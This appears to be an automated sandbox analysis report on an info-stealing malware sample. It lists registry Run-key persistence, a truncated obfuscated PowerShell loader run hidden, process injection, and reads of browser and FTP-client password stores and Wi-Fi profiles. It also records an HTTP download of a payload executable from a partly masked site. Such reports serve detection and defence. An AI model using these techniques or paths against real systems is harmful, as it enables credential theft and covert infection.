Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'dYayFvGc' = '%APPDATA%\XIATqYe\SdAgx.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ef16f28 {param($s242ca)$g48c45d='qfa9d5';$z6b96='';for ($i=0; $i -lt $s242ca.length;$i+=2){$eeea8=[convert]::ToByte($s242ca.Substring($i,2),16);$z6b96+=[char]($ee...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
- [<HKCU>\Software\FTPWare\COREFTP\Sites]
- [<HKCU>\Software\RimArts\B2\Settings]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\login data
Modifies file system
Creates the following files
- %TEMP%\5asn0mrv.0.cs
- %TEMP%\5asn0mrv.dll
- %TEMP%\csc53a6.tmp
- %TEMP%\res53c6.tmp
- %TEMP%\pgdzbtv3.dll
- %TEMP%\csc5694.tmp
- %TEMP%\res56b4.tmp
- %TEMP%\8ltt99iq.dll
- %TEMP%\csc58c7.tmp
- %TEMP%\res58d7.tmp
- %TEMP%\jecgb6w2.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{c36692f0-fcb5-4749-bb23-1355b65bd1b0}.tmp
- %APPDATA%\o6959d.exe
- %APPDATA%\xiatqye\sdagx.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\res4a70.tmp
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\csc4a4f.tmp
- %TEMP%\res460b.tmp
- %TEMP%\5asn0mrv.cmdline
- %TEMP%\5asn0mrv.out
- %TEMP%\6xsw6rg5.0.cs
- %TEMP%\6xsw6rg5.cmdline
- %TEMP%\6xsw6rg5.out
- %TEMP%\8ltt99iq.0.cs
- %TEMP%\8ltt99iq.cmdline
- %TEMP%\8ltt99iq.out
- %TEMP%\pgdzbtv3.0.cs
- %TEMP%\pgdzbtv3.cmdline
- %TEMP%\pgdzbtv3.out
- %TEMP%\jecgb6w2.0.cs
- %TEMP%\jecgb6w2.cmdline
- %TEMP%\jecgb6w2.out
- %TEMP%\csc45fa.tmp
- %TEMP%\6xsw6rg5.dll
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\res460b.tmp
- %TEMP%\csc58c7.tmp
- %TEMP%\8ltt99iq.dll
- %TEMP%\8ltt99iq.pdb
- %TEMP%\8ltt99iq.cmdline
- %TEMP%\8ltt99iq.0.cs
- %TEMP%\8ltt99iq.out
- %TEMP%\pgdzbtv3.cmdline
- %TEMP%\jecgb6w2.pdb
- %TEMP%\pgdzbtv3.out
- %TEMP%\pgdzbtv3.dll
- %TEMP%\pgdzbtv3.0.cs
- %TEMP%\jecgb6w2.0.cs
- %TEMP%\jecgb6w2.cmdline
- %TEMP%\jecgb6w2.out
- %TEMP%\res58d7.tmp
- %TEMP%\pgdzbtv3.pdb
- %TEMP%\csc5694.tmp
- %TEMP%\6xsw6rg5.0.cs
- %TEMP%\csc45fa.tmp
- %TEMP%\res4a70.tmp
- %TEMP%\csc4a4f.tmp
- %TEMP%\6xsw6rg5.out
- %TEMP%\6xsw6rg5.dll
- %TEMP%\6xsw6rg5.pdb
- %TEMP%\6xsw6rg5.cmdline
- %TEMP%\csc53a6.tmp
- %TEMP%\5asn0mrv.dll
- %TEMP%\5asn0mrv.pdb
- %TEMP%\5asn0mrv.cmdline
- %TEMP%\5asn0mrv.out
- %TEMP%\5asn0mrv.0.cs
- %TEMP%\res53c6.tmp
- %TEMP%\res56b4.tmp
- %TEMP%\jecgb6w2.dll
Network activity
TCP
HTTP GET requests
- http://un#######importandexport.com/wp-content/plugins/all-in-one-wp-migration/lib/bread.exe
UDP
- DNS ASK un#######importandexport.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\o6959d.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function ef16f28 {param($s242ca)$g48c45d='qfa9d5';$z6b96='';for ($i=0; $i -lt $s242ca.length;$i+=2){$eeea8=[convert]::ToByte($s242ca.Substring($i,2),16);$z6b96+=[char]($ee...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5asn0mrv.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6xsw6rg5.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8ltt99iq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pgdzbtv3.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jecgb6w2.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES460B.tmp" "%TEMP%\CSC45FA.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A70.tmp" "%TEMP%\CSC4A4F.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES53C6.tmp" "%TEMP%\CSC53A6.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES56B4.tmp" "%TEMP%\CSC5694.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES58D7.tmp" "%TEMP%\CSC58C7.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5asn0mrv.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\6xsw6rg5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\8ltt99iq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\pgdzbtv3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jecgb6w2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES460B.tmp" "%TEMP%\CSC45FA.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A70.tmp" "%TEMP%\CSC4A4F.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES53C6.tmp" "%TEMP%\CSC53A6.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES56B4.tmp" "%TEMP%\CSC5694.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES58D7.tmp" "%TEMP%\CSC58C7.tmp"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe'
- '%WINDIR%\syswow64\netsh.exe' wlan show profile
